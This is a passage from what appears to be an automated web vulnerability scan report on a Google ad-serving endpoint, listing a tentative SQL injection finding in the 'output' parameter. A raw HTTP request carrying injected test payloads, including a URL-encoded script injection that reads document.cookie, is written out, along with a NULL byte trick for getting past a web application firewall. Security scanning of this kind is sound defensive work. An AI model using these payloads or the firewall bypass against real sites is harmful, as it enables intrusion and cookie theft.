h"];if(x && x.description){var pVF=x.description;var y=pVF.indexOf("Flash ")+6;pVM=pVF.substring(y,pVF.indexOf(".",y));}}
else if (window.ActiveXObject && window.execScript){
window.execScript('on error resume next\npVM=2\ndo\npVM=pVM+1\nset swControl = CreateObject("ShockwaveFlash.ShockwaveFlash."&pVM)\nloop while Err = 0\nOn Error Resume Next\npVM=pVM-1\nSub '+DCid+'_FSCommand(ByVal command, ByVal
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-3737471162188127&output=html&h=600%2527%2527&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 2

1.6. http://googleads.g.doubleclick.net/pagead/ads [output parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The output parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the output parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.